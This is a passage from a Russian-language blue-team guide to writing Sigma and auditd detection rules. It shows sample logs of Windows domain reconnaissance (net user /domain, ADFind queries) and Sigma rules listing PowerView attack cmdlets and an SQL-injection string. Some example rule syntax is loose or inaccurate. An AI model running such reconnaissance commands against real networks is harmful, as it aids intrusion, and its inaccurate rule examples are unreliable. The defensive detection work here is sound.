  2. Condition: определяет условие, при котором срабатывает правило. Здесь можно задать логическое выражение, которое должно быть выполнено для того, чтобы правило сработало. Это может быть комбинация различных условий, заданных в блоке Selections, с использованием логических операторов (например, AND, OR).
    • Простое логическое выражение с использованием логических операторов (AND, OR, NOT) для комбинации различных условий: 
      Condition: Selection1 AND (Selection2 OR Selection3)

    • Условие наличия: можно указать, что событие должно содержать определенный атрибут или значение:

      Condition: ProcessName IS NOT NULL AND EventID = 4625

    • Условие отсутствия: можно задать условие, что событие не должно содержать определенный атрибут или значение:

      Condition: NOT ProcessName = "svchost.exe"

    • Условие сравнения: можно использовать условия сравнения для сравнения значений атрибутов с определенными значениями:

      Condition: BytesTransferred > 1000000 AND DestinationPort IN [80, 443]

    • Сложные условия: Можно комбинировать различные типы условий для создания более сложных логических выражений:

      Condition: (ProcessName = "cmd.exe" AND CommandLine CONTAINS "net user") OR (EventID = 4625 AND Outcome = FAILURE)

Если в поле condition указано true, правило будет срабатывать на любое событие, которое соответствует критериям, указанным в блоке detection. При таком условии правило будет применяться без дополнительных ограничений и будет срабатывать на каждое событие, которое соответствует заданным критериям.
Например, если блок detection содержит несколько условий выбора событий, но в поле condition указано true, это означает, что правило будет срабатывать на любое событие, которое удовлетворяет хотя бы одному из условий выбора.
В этом примере правило будет срабатывать на любое событие с EventID 4625 или 4634, так как в поле condition указано true, что означает применение правила без дополнительных условий:

detection:
  Selection1:
    EventID: 4625
  Selection2:
    EventID: 4634
  Condition: true

Дополнительные поля:

Примеры блоков detection

Блок Detection для обнаружения подозрительной активности в логах аутентификации

detection:
  Selection:
    EventID: 4625
    AccountName: ["Administrator", "root"]
    Outcome: FAILURE
  Condition: true
  FalsePositives:
    - Expected administrative login failures during maintenance windows.
  Level: medium

В этом примере правило будет срабатывать, если произошло событие аутентификации с идентификатором 4625 (попытка входа в систему), имя пользователя равно "Administrator" или "root", и результат попытки входа — FAILURE. Условие Condition: true указывает, что правило будет срабатывать на все события, удовлетворяющие критериям блока Selection. Уровень критичности установлен на средний, и указаны ложные срабатывания.

Блок Detection для обнаружения необычного сетевого трафика

detection:
  Selection:
    EventType: NETWORK
    Protocol: TCP
    DestinationPort: [22, 3389, 5900]
    BytesTransferred: ">1000000"
  Condition: true
  FalsePositives:
    - Expected high-volume traffic during data transfers.
  Level: high

В этом примере правило будет срабатывать на сетевые события типа NETWORK с использованием протокола TCP и с направленным портом 22, 3389 или 5900, а также с объемом переданных данных более 1 МБ. Условие Condition: true указывает, что правило будет срабатывать на все события, удовлетворяющие критериям блока Selection. Уровень критичности установлен на высокий, и указаны ложные срабатывания.

Блок Detection для обнаружения попыток SQL-инъекций

detection:
  Selection:
    EventType: APPLICATION
    ProcessName: ["sqlserver.exe", "mysql.exe", "postgresql.exe"]
    CommandLine: "*' OR 1=1 --"
  Condition: true
  FalsePositives:
    - Legitimate use of special characters in database queries.
  Level: medium

В этом примере правило будет срабатывать на события типа APPLICATION с процессами sqlserver.exe, mysql.exe или postgresql.exe, в которых встречается подозрительная команда "*' OR 1=1 --" в командной строке. Условие Condition: true указывает, что правило будет срабатывать на все события, удовлетворяющие критериям блока Selection. Уровень критичности установлен на средний, и указаны ложные срабатывания.

Примеры правил

Множественные неудачные попытки входа

Рассмотрим пример правила для auditd, которое будет срабатывать после 5 неудачных попыток логина под учетной записью "admin" в течение 5 минут: 

title: Detect 5 Failed Login Attempts for "admin" in Linux Auditd
description: Detects 5 consecutive failed login attempts for the user "admin" in Linux auditd logs.
tags:
  - linux
  - auditd
  - login
logsource:
    product: linux
    service: auditd
detection:
  Selection:
    EventID: 4625
    UserName: admin
    Outcome: FAILURE
    Count: 5
    Consecutive: true
    Window: 5m

Поле detection

На что срабатывает правило

Пример неудачной попытки входа:

type=USER_AUTH msg=audit(1485911400.972:318): pid=3662 uid=0 auid=1000 ses=1 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login acct="admin" exe="/usr/sbin/sshd" hostname=192.168.1.100 addr=192.168.1.100 terminal=ssh res=failed'

Пример успешного входа:

type=USER_AUTH msg=audit(1485911400.972:318): pid=3662 uid=0 auid=1000 ses=1 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login acct="admin" exe="/usr/sbin/sshd" hostname=192.168.1.100 addr=192.168.1.100 terminal=ssh res=success'

Для срабатывания правила, нужно обнаружить пять последовательных неудачных попыток входа.

type=USER_AUTH msg=audit(1485911400.972:318): pid=3662 uid=0 auid=1000 ses=1 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login acct="admin" exe="/usr/sbin/sshd" hostname=192.168.1.100 addr=192.168.1.100 terminal=ssh res=failed'
type=USER_AUTH msg=audit(1485911401.972:319): pid=3662 uid=0 auid=1000 ses=1 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login acct="admin" exe="/usr/sbin/sshd" hostname=192.168.1.100 addr=192.168.1.100 terminal=ssh res=failed'
type=USER_AUTH msg=audit(1485911402.972:320): pid=3662 uid=0 auid=1000 ses=1 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login acct="admin" exe="/usr/sbin/sshd" hostname=192.168.1.100 addr=192.168.1.100 terminal=ssh res=failed'
type=USER_AUTH msg=audit(1485911403.972:321): pid=3662 uid=0 auid=1000 ses=1 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login acct="admin" exe="/usr/sbin/sshd" hostname=192.168.1.100 addr=192.168.1.100 terminal=ssh res=failed'
type=USER_AUTH msg=audit(1485911404.972:322): pid=3662 uid=0 auid=1000 ses=1 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login acct="admin" exe="/usr/sbin/sshd" hostname=192.168.1.100 addr=192.168.1.100 terminal=ssh res=failed'

Правило, срабатывающее при сборе информации о системе

title: System Information Discovery - Auditd
id: f34047d9-20d3-4e8b-8672-0a35cc50dc71
status: test
description: Detects System Information Discovery commands
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f296668303c29d3f4c07e42bdd2b28d8dd6625f9/atomics/T1082/T1082.md
author: Pawel Mazur
date: 2021/09/03
modified: 2023/03/06
tags:
    - attack.discovery
    - attack.t1082
logsource:
    product: linux
    service: auditd
detection:
    selection_1:
        type: PATH
        name:
            - /etc/lsb-release
            - /etc/redhat-release
            - /etc/issue
    selection_2:
        type: EXECVE
        a0:
            - uname
            - uptime
            - lsmod
            - hostname
            - env
    selection_3:
        type: EXECVE
        a0: grep
        a1|contains:
            - vbox
            - vm
            - xen
            - virtio
            - hv
    selection_4:
        type: EXECVE
        a0: kmod
        a1: list
    condition: 1 of selection_*
falsepositives:
    - Likely
level: low

Поле detection

Блок detection содержит 4 разных поля selection, каждое из которых определяет разные методы и инструменты, используемые для обнаружения информации о системе:

На что может сработать это правило

Доступ к файлу с информацией о версии операционной системы:

type=SYSCALL msg=audit(1485911400.972:318): arch=c000003e syscall=2 success=yes exit=3 a0=7fff39e3a410 a1=0 a2=1b6 a3=7fff39e38880 items=2 ppid=3661 pid=3662 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm="cat" exe="/bin/cat" key=(null)
type=CWD msg=audit(1485911400.972:318):  cwd="/home/user"
type=PATH msg=audit(1485911400.972:318): item=0 name="/etc/lsb-release" inode=1577883 dev=08:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0 objtype=NORMAL
type=PATH msg=audit(1485911400.972:318): item=1 name="/lib/x86_64-linux-gnu/libc.so.6" inode=1577547 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:libc_so_6_t:s0 objtype=NORMAL

Запуск команды с информацией о системе:

type=EXECVE msg=audit(1614005988.958:1032): argc=2 a0="uname" a1="-a"
type=CWD msg=audit(1614005988.958:1032):  cwd="/home/user"
type=PATH msg=audit(1614005988.958:1032): item=0 name="/bin/uname" inode=2036785 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:bin_t:s0 objtype=NORMAL

Использование команды grep для поиска информации о виртуальной среде:

type=EXECVE msg=audit(1614005988.958:1032): argc=3 a0="grep" a1="-i" a2="vm"
type=CWD msg=audit(1614005988.958:1032):  cwd="/home/user"
type=PATH msg=audit(1614005988.958:1032): item=0 name="/bin/grep" inode=2036785 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:bin_t:s0 objtype=NORMAL

Использование команды kmod list для получения списка загруженных модулей ядра:

type=EXECVE msg=audit(1614005988.958:1032): argc=2 a0="kmod" a1="list"
type=CWD msg=audit(1614005988.958:1032):  cwd="/home/user"
type=PATH msg=audit(1614005988.958:1032): item=0 name="/sbin/kmod" inode=2036785 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:sbin_t:s0 objtype=NORMAL

Запуск команды, такой как uptime, для получения информации о системе:

type=EXECVE msg=audit(1614005988.958:1032): argc=1 a0="uptime"
type=CWD msg=audit(1614005988.958:1032):  cwd="/home/user"
type=PATH msg=audit(1614005988.958:1032): item=0 name="/usr/bin/uptime" inode=2036785 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:bin_t:s0 objtype=NORMAL

Передача исполняемого .exe файла на общий ресурс

title: Detection of Executable File Transfer to File Resource
description: Detects the transfer of an executable file to a file resource in Linux auditd logs.
tags:
  - linux
  - auditd
  - file_transfer
logsource:
  product: linux
  service: auditd
detection:
  Selection:
    EventID: CWD
    objtype: FILE
    objname|endswith: ".exe"
  Condition: path == "/opt/staff/"

Поле detection

На что может сработать это правило

Передача файла с расширением ".exe" в каталог "/opt/staff/"

type=CWD msg=audit(1614005988.958:1032):  cwd="/opt/staff"
type=PATH msg=audit(1614005988.958:1032): item=0 name="/opt/staff/file.exe" inode=2036785 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:file_t:s0 objtype=NORMAL

Передача нескольких файлов с расширением ".exe" в каталог "/opt/staff/"

type=CWD msg=audit(1614005988.958:1032):  cwd="/opt/staff"
type=PATH msg=audit(1614005988.958:1032): item=0 name="/opt/staff/file1.exe" inode=2036785 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:file_t:s0 objtype=NORMAL
type=CWD msg=audit(1614005988.958:1032):  cwd="/opt/staff"
type=PATH msg=audit(1614005988.958:1032): item=0 name="/opt/staff/file2.exe" inode=2036786 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:file_t:s0 objtype=NORMAL

Передача файла с расширением ".exe" в каталог "/opt/staff/", но без события изменения текущего рабочего каталога:

type=PATH msg=audit(1614005988.958:1032): item=0 name="/opt/staff/file.exe" inode=2036785 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:file_t:s0 objtype=NORMAL

Blue team

Обнаружение после проникновения Windows

Разведка

При попадании в инфраструктуру обычно производится поиск административных учетных записей, привилегированных группы безопасности, наличие настроенных соглашений (trust) между контроллерами доменов с дочерними/родительскими организациями.

 net user /domain выведет названия всех учетных записей в домене. Достаточна непривилегированная учетная запись в группе пользователей домена.
 

Данная команда журналируется только на локальном компьютере, на котором она была исполнена, ее обычно запускают на первом зараженном хосте. Cобытие EventID=4688 журнала Security или на событии EventID=1 журнала Sysmon.

Рассмотрим ниже пример события EventID=1 журнала Sysmon с разведкой в формате xml, где обратите внимание на поле 

<Data Name="CommandLine">C:\Windows\system32\net1 user /domain</Data>

  , в котором зафиксирована команда разведки. Как вы заметили в журнале команда net зафиксирована как net1, это сделано для обеспечения совместимости и исправления старой ошибки в команде net в 2000 году и осталась в системе до сих пор. Ситуации с различием команд при логировании и исполнении в командной строке не так часты, но их надо учитывать при разработке корреляционных правил выявления атак и проверять, как журналирует система выполненные команды, если даже они кажутся очевидными.

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385F-C22A-43E0-BF4C-06F5698FFBD9}" />
  <EventID>1</EventID>
  <Version>5</Version>
  <Level>4</Level>
  <Task>1</Task>
  <Opcode>0</Opcode>
  <Keywords>0x8000000000000000</Keywords>
  <TimeCreated SystemTime="2024-02-04T14:23:41.035418100Z" />
  <EventRecordID>6914807</EventRecordID>
  <Correlation />
  <Execution ProcessID="1604" ThreadID="2020" />
  <Channel>Microsoft-Windows-Sysmon/Operational</Channel>
  <Computer>WIN-O6QVDOTOFCA.lab.local</Computer>
  <Security UserID="S-1-5-18" />
  </System>
- <EventData>
  <Data Name="RuleName">-</Data>
  <Data Name="UtcTime">2024-02-04 14:23:41.019</Data>
  <Data Name="ProcessGuid">{460797FE-9DED-65BF-7D01-000000001800}</Data>
  <Data Name="ProcessId">976</Data>
  <Data Name="Image">C:\Windows\System32\net1.exe</Data>
  <Data Name="FileVersion">6.3.9600.17415 (winblue_r4.141028-1500)</Data>
  <Data Name="Description">Net Command</Data>
  <Data Name="Product">Microsoft® Windows® Operating System</Data>
  <Data Name="Company">Microsoft Corporation</Data>
  <Data Name="OriginalFileName">net1.exe</Data>
  <Data Name="CommandLine">C:\Windows\system32\net1 user /domain</Data>
  <Data Name="CurrentDirectory">C:\Windows\system32\</Data>
  <Data Name="User">LAB\Administrator</Data>
  <Data Name="LogonGuid">{460797FE-9671-65BE-4054-040000000000}</Data>
  <Data Name="LogonId">0x45440</Data>
  <Data Name="TerminalSessionId">1</Data>
  <Data Name="IntegrityLevel">High</Data>
  <Data Name="Hashes">MD5=A3F48D90EE53FDF2547B41F87A7C8080,SHA256=D28BC8FA6E80316833C0EBB948B46511971B96635892F40998A216A2DD5EC8AA,IMPHASH=EA59607831B13D45CEC2066C9436738F</Data>
  <Data Name="ParentProcessGuid">{460797FE-9DEC-65BF-7C01-000000001800}</Data>
  <Data Name="ParentProcessId">2372</Data>
  <Data Name="ParentImage">C:\Windows\System32\net.exe</Data>
  <Data Name="ParentCommandLine">net user /domain</Data>
  <Data Name="ParentUser">LAB\Administrator</Data>
  </EventData>
  </Event>

net group /domain. 

Так будет выглядить событие в формате xml по разведке доменных групп. Базируется выявление активности так же на событии EventID=4688 журнала Security или на событии EventID=1 журнала Sysmon. Обратите внимание на поле 

<Data Name="CommandLine">C:\Windows\system32\net1 group /domain</Data>
- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385F-C22A-43E0-BF4C-06F5698FFBD9}" />
  <EventID>1</EventID>
  <Version>5</Version>
  <Level>4</Level>
  <Task>1</Task>
  <Opcode>0</Opcode>
  <Keywords>0x8000000000000000</Keywords>
  <TimeCreated SystemTime="2024-02-04T15:15:07.129601400Z" />
  <EventRecordID>6921609</EventRecordID>
  <Correlation />
  <Execution ProcessID="1604" ThreadID="2020" />
  <Channel>Microsoft-Windows-Sysmon/Operational</Channel>
  <Computer>WIN-O6QVDOTOFCA.lab.local</Computer>
  <Security UserID="S-1-5-18" />
  </System>
- <EventData>
  <Data Name="RuleName">-</Data>
  <Data Name="UtcTime">2024-02-04 15:15:07.129</Data>
  <Data Name="ProcessGuid">{460797FE-A9FB-65BF-9201-000000001800}</Data>
  <Data Name="ProcessId">2988</Data>
  <Data Name="Image">C:\Windows\System32\net1.exe</Data>
  <Data Name="FileVersion">6.3.9600.17415 (winblue_r4.141028-1500)</Data>
  <Data Name="Description">Net Command</Data>
  <Data Name="Product">Microsoft® Windows® Operating System</Data>
  <Data Name="Company">Microsoft Corporation</Data>
  <Data Name="OriginalFileName">net1.exe</Data>
  <Data Name="CommandLine">C:\Windows\system32\net1 group /domain</Data>
  <Data Name="CurrentDirectory">C:\Windows\system32\</Data>
  <Data Name="User">LAB\Administrator</Data>
  <Data Name="LogonGuid">{460797FE-9671-65BE-4054-040000000000}</Data>
  <Data Name="LogonId">0x45440</Data>
  <Data Name="TerminalSessionId">1</Data>
  <Data Name="IntegrityLevel">High</Data>
  <Data Name="Hashes">MD5=A3F48D90EE53FDF2547B41F87A7C8080,SHA256=D28BC8FA6E80316833C0EBB948B46511971B96635892F40998A216A2DD5EC8AA,IMPHASH=EA59607831B13D45CEC2066C9436738F</Data>
  <Data Name="ParentProcessGuid">{460797FE-A9FB-65BF-9101-000000001800}</Data>
  <Data Name="ParentProcessId">2908</Data>
  <Data Name="ParentImage">C:\Windows\System32\net.exe</Data>
  <Data Name="ParentCommandLine">net group /domain</Data>
  <Data Name="ParentUser">LAB\Administrator</Data>
  </EventData>
  </Event>

Отслеживать каждую команду разведки по отдельности в большой инфраструктуре может быть черевато большим количеством ложных срабатываний, поэтому стоит рассмотреть вариант выявления активнсти по массовому запуску команд разведки за короткий промежуток времени.

Примеры корреляционных правил на Sigma:

title: Suspicious Reconnaissance Activity
id: d95de845-b83c-4a9a-8a6a-4fc802ebf6c0
status: experimental
description: Detects suspicious command line activity on Windows systems
author: Florian Roth
date: 2019/01/16
tags:
    - attack.discovery
    - attack.t1087
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine:
            - net group "domain admins" /domain
            - net localgroup administrators
    condition: selection
fields:
    - CommandLine
    - ParentCommandLine
falsepositives:
    - Inventory tool runs
    - Penetration tests
    - Administrative activity
analysis:
    recommendation: Check if the user that executed the commands is suspicious (e.g. service accounts, LOCAL_SYSTEM)
level: medium
title: Suspicious Group And Account Reconnaissance Activity Using Net.EXE
id: d95de845-b83c-4a9a-8a6a-4fc802ebf6c0
status: test
description: Detects suspicious reconnaissance command line activity on Windows systems using Net.EXE
references:
    - https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/
    - https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/
    - https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/
author: Florian Roth (Nextron Systems), omkar72, @svch0st, Nasreddine Bencherchali (Nextron Systems)
date: 2019/01/16
modified: 2023/03/02
tags:
    - attack.discovery
    - attack.t1087.001
    - attack.t1087.002
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith:
              - '\net.exe'
              - '\net1.exe'
        - OriginalFileName:
              - 'net.exe'
              - 'net1.exe'
    # Covers group and localgroup flags
    selection_group_root:
        CommandLine|contains:
            - ' group '
            - ' localgroup '
    selection_group_flags:
        CommandLine|contains:
            # Add more groups for other languages
            - 'domain admins'
            - ' administrator' # Typo without an 'S' so we catch both
            - ' administrateur' # Typo without an 'S' so we catch both
            - 'enterprise admins'
            - 'Exchange Trusted Subsystem'
            - 'Remote Desktop Users'
            - 'Utilisateurs du Bureau à distance' # French for "Remote Desktop Users"
            - 'Usuarios de escritorio remoto' # Spanish for "Remote Desktop Users"
            - ' /do' # short for domain
    filter_group_add:
        # This filter is added to avoid the potential case where the point is not recon but addition
        CommandLine|contains: ' /add'
    # Covers 'accounts' flag
    selection_accounts_root:
        CommandLine|contains: ' accounts '
    selection_accounts_flags:
        CommandLine|contains: ' /do' # short for domain
    condition: selection_img and ((all of selection_group_* and not filter_group_add) or all of selection_accounts_*)
fields:
    - CommandLine
    - ParentCommandLine
falsepositives:
    - Inventory tool runs
    - Administrative activity
level: medium
analysis:
    recommendation: Check if the user that executed the commands is suspicious (e.g. service accounts, LOCAL_SYSTEM)

  

Разведка с помощью командлетов (cmdlets) PowerShell

Выполним команду Get-ADForest. Данная команда выдает информацию о лесе AD. Лесом называют полностью самостоятельную организацию Active Directory, которая имеет определенный набор атрибутов и является периметром безопасности организации. В состав леса могут входить как один, так и несколько доменов. В лесу у каждого домена есть своя база данных и свои собственные контроллеры домена. Однако пользователи домена в лесу также могут получить доступ к другим доменам леса. Это означает, что даже если домен может быть автономным (без необходимости взаимодействия с другими доменами), он не изолирован с точки зрения безопасности, поскольку пользователь из одного домена по умолчанию может получить доступ к ресурсам других доменов в том же лесу. Однако пользователи леса по умолчанию не могут получить доступ к ресурсам из других лесов, поэтому лес является логической структурой, которая может обеспечить изоляцию с точки зрению безопасности.

Ниже представлено событие выполнения скрипт-блоков с EventID = 4104 из журнала Powershell. Обратите внимание на строку 

<Data Name="ScriptBlockText">get-adforest</Data>

  , в которой зафиксировано выполнение команды.

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-PowerShell" Guid="{A0C1853B-5C40-4B15-8766-3CF1C58F985A}" /> 
  <EventID>4104</EventID> 
  <Version>1</Version> 
  <Level>5</Level> 
  <Task>102</Task> 
  <Opcode>15</Opcode> 
  <Keywords>0x0</Keywords> 
  <TimeCreated SystemTime="2024-02-04T20:00:41.649279800Z" /> 
  <EventRecordID>4667</EventRecordID> 
  <Correlation ActivityID="{6487D210-56D8-0000-D6F8-8764D856DA01}" /> 
  <Execution ProcessID="4092" ThreadID="3048" /> 
  <Channel>Microsoft-Windows-PowerShell/Operational</Channel> 
  <Computer>WIN-O6QVDOTOFCA.lab.local</Computer> 
  <Security UserID="S-1-5-21-1043167210-2633990363-2710869231-500" /> 
  </System>
- <EventData>
  <Data Name="MessageNumber">1</Data> 
  <Data Name="MessageTotal">1</Data> 
  <Data Name="ScriptBlockText">get-adforest</Data> 
  <Data Name="ScriptBlockId">07651e4c-bb49-4563-8b55-1454584112d7</Data> 
  </EventData>
  </Event>

Количество командлетов PowerShell для разведки не малое количество, выявить их запуск можно так же по событию с EventID = 4104. 

Пример корреляционного правила на Sigma для выявления команд разведки данных AD и не только.

title: PowerView PowerShell Cmdlets - ScriptBlock
id: dcd74b95-3f36-4ed9-9598-0490951643aa
related:
    - id: b2317cfa-4a47-4ead-b3ff-297438c0bc2d
      type: similar
status: test
description: Detects Cmdlet names from PowerView of the PowerSploit exploitation framework.
references:
    - https://powersploit.readthedocs.io/en/stable/Recon/README
    - https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
    - https://thedfirreport.com/2020/10/08/ryuks-return
    - https://adsecurity.org/?p=2277
author: Bhabesh Raj
date: 2021/05/18
modified: 2023/11/22
tags:
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    category: ps_script
    definition: 'Requirements: Script Block Logging must be enabled'
detection:
    selection:
        ScriptBlockText|contains:
            - 'Export-PowerViewCSV'
            - 'Find-DomainLocalGroupMember'
            - 'Find-DomainObjectPropertyOutlier'
            - 'Find-DomainProcess'
            - 'Find-DomainShare'
            - 'Find-DomainUserEvent'
            - 'Find-DomainUserLocation'
            - 'Find-ForeignGroup'
            - 'Find-ForeignUser'
            - 'Find-GPOComputerAdmin'
            - 'Find-GPOLocation'
            - 'Find-InterestingDomain' # Covers: Find-InterestingDomainAcl, Find-InterestingDomainShareFile
            - 'Find-InterestingFile'
            - 'Find-LocalAdminAccess'
            - 'Find-ManagedSecurityGroups'
            - 'Get-CachedRDPConnection'
            - 'Get-DFSshare'
            - 'Get-DomainDFSShare'
            - 'Get-DomainDNSRecord'
            - 'Get-DomainDNSZone'
            - 'Get-DomainFileServer'
            - 'Get-DomainGPOComputerLocalGroupMapping'
            - 'Get-DomainGPOLocalGroup'
            - 'Get-DomainGPOUserLocalGroupMapping'
            - 'Get-LastLoggedOn'
            - 'Get-LoggedOnLocal'
            - 'Get-NetFileServer'
            - 'Get-NetForest' # Covers: Get-NetForestCatalog, Get-NetForestDomain, Get-NetForestTrust
            - 'Get-NetGPOGroup'
            - 'Get-NetProcess'
            - 'Get-NetRDPSession'
            - 'Get-RegistryMountedDrive'
            - 'Get-RegLoggedOn'
            - 'Get-WMIRegCachedRDPConnection'
            - 'Get-WMIRegLastLoggedOn'
            - 'Get-WMIRegMountedDrive'
            - 'Get-WMIRegProxy'
            - 'Invoke-ACLScanner'
            - 'Invoke-CheckLocalAdminAccess'
            - 'Invoke-EnumerateLocalAdmin'
            - 'Invoke-EventHunter'
            - 'Invoke-FileFinder'
            - 'Invoke-Kerberoast'
            - 'Invoke-MapDomainTrust'
            - 'Invoke-ProcessHunter'
            - 'Invoke-RevertToSelf'
            - 'Invoke-ShareFinder'
            - 'Invoke-UserHunter'
            - 'Invoke-UserImpersonation'
            - 'Remove-RemoteConnection'
            - 'Request-SPNTicket'
            - 'Resolve-IPAddress'
            # - 'Get-ADObject'  # prone to FPs
            # - 'Get-Domain'  # too many FPs  # Covers Cmdlets like: DomainComputer, DomainController, DomainDFSShare, DomainDNSRecord, DomainGPO, etc.
            # - 'Add-DomainGroupMember'
            # - 'Add-DomainObjectAcl'
            # - 'Add-ObjectAcl'
            # - 'Add-RemoteConnection'
            # - 'Convert-ADName'
            # - 'Convert-NameToSid'
            # - 'ConvertFrom-UACValue'
            # - 'ConvertTo-SID'
            # - 'Get-DNSRecord'
            # - 'Get-DNSZone'
            # - 'Get-DomainComputer'
            # - 'Get-DomainController'
            # - 'Get-DomainGroup'
            # - 'Get-DomainGroupMember'
            # - 'Get-DomainManagedSecurityGroup'
            # - 'Get-DomainObject'
            # - 'Get-DomainObjectAcl'
            # - 'Get-DomainOU'
            # - 'Get-DomainPolicy'
            # - 'Get-DomainSID'
            # - 'Get-DomainSite'
            # - 'Get-DomainSPNTicket'
            # - 'Get-DomainSubnet'
            # - 'Get-DomainUser'
            # - 'Get-DomainUserEvent'
            # - 'Get-Forest' # Covers: Get-ForestDomain, Get-ForestGlobalCatalog, Get-ForestTrust
            # - 'Get-IPAddress'
            # - 'Get-NetComputer' # Covers: Get-NetComputerSiteName
            # - 'Get-NetDomain' # Covers: Get-NetDomainController, Get-NetDomainTrust
            # - 'Get-NetGroup' # Covers: Get-NetGroupMember
            # - 'Get-NetLocalGroup' # Covers: NetLocalGroupMember
            # - 'Get-NetLoggedon'
            # - 'Get-NetOU'
            # - 'Get-NetSession'
            # - 'Get-NetShare'
            # - 'Get-NetSite'
            # - 'Get-NetSubnet'
            # - 'Get-NetUser'
            # - 'Get-ObjectAcl'
            # - 'Get-PathAcl'
            # - 'Get-Proxy'
            # - 'Get-SiteName'
            # - 'Get-UserEvent'
            # - 'Get-WMIProcess'
            # - 'New-DomainGroup'
            # - 'New-DomainUser'
            # - 'Set-ADObject'
            # - 'Set-DomainObject'
            # - 'Set-DomainUserPassword'
    condition: selection
falsepositives:
    - Unknown
level: high

Выявление разведки в журналах события AD

Для наиболее эффективной разведки могут воспользоваться утилитой SharpHound и результаты выполнения, потом, для удобства, визуализировать с помощью утилиты BloodHound. Аналогичные инструменты атакующих для разведки данных в AD, это, ADFind, PowerView и ldapsearch.

Запустим ADFind и посмотрим какие останутся следы в жураналах событий. Предварительно должен быть настроен аудит журналирования запросов для генерации событий EventID=1644 журнала Directory Service. Для настройки аудита необходимо с помощью PowerShell на контроллере домена выполнить команды: 

Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Services\NTDS\Diagnostics' -Name '15 Field Engineering' -Value "5"
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Services\NTDS\Parameters' -Name 'Expensive Search Results Threshold' -Value "10"
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Services\NTDS\Parameters' -Name 'Inefficient Search Results Threshold' -Value "10"
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Services\NTDS\Parameters' -Name 'Search Time Threshold (msecs)' -Value "80"

Данные команды изначально были предназначены отслеживания медленных запросов к AD. Настройку надо выполнять с осторожностью, поскольку повышается нагрузка на контроллере домена. В данном случае уже мы можем отслеживать аномальную активность на самом контроллере домена, это значит, что выявить атаку вероятность выше по сравнению с подходом выявления атаки при исполнении на конечном узле, т.к. события с контроллера домена всегда должны собираться в SIEM, как от критичного узла в инфраструктуре.
Выполним команду:

adfind -b dc=lab,dc=local -f "( |(sAMAccountName=Bill) )"

Обратите внимание на строку в событии ниже с идентификатором 1644 со значением <Data>( | (sAMAccountName=Bill) )</Data>  , это зафиксирована команда с запросом от утилиты ADFind для получения информации о пользователе Bill.

В поле <Data>192.168.0.5:51653</Data> указан IP-адрес с которого был выполнен запрос.

В поле  <Data>LAB\Nick</Data>  указано под какой учетной записью был выполнен запрос.

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-ActiveDirectory_DomainService" Guid="{0e8478c5-3605-4e8c-8497-1e730c959516}" EventSourceName="NTDS General" /> 
  <EventID Qualifiers="16384">1644</EventID> 
  <Version>0</Version> 
  <Level>4</Level> 
  <Task>15</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8080000000000000</Keywords> 
  <TimeCreated SystemTime="2024-02-04T17:56:12.804105800Z" /> 
  <EventRecordID>309</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="480" ThreadID="1088" /> 
  <Channel>Directory Service</Channel> 
  <Computer>WIN-O6QVDOTOFCA.lab.local</Computer> 
  <Security UserID="S-1-5-21-1043167210-2633990363-2710869231-1003" /> 
  </System>
- <EventData>
  <Data>CN=Schema,CN=Configuration,DC=lab,DC=local</Data> 
  <Data>( | (sAMAccountName=Bill) )</Data> 
  <Data>1630</Data> 
  <Data>50</Data> 
  <Data>192.168.0.5:51653</Data> 
  <Data>subtree</Data> 
  <Data>uid,sAMAccountName</Data> 
  <Data /> 
  <Data>DNT_index:1070:N;</Data> 
  <Data>14809</Data> 
  <Data>4</Data> 
  <Data>0</Data> 
  <Data>0</Data> 
  <Data>0</Data> 
  <Data>47</Data> 
  <Data>none</Data> 
  <Data>LAB\Nick</Data> 
  </EventData>
  </Event>

Далее необходимо выявить хост и проанализировать с него журналы событий. 

Атака Kerberoasting

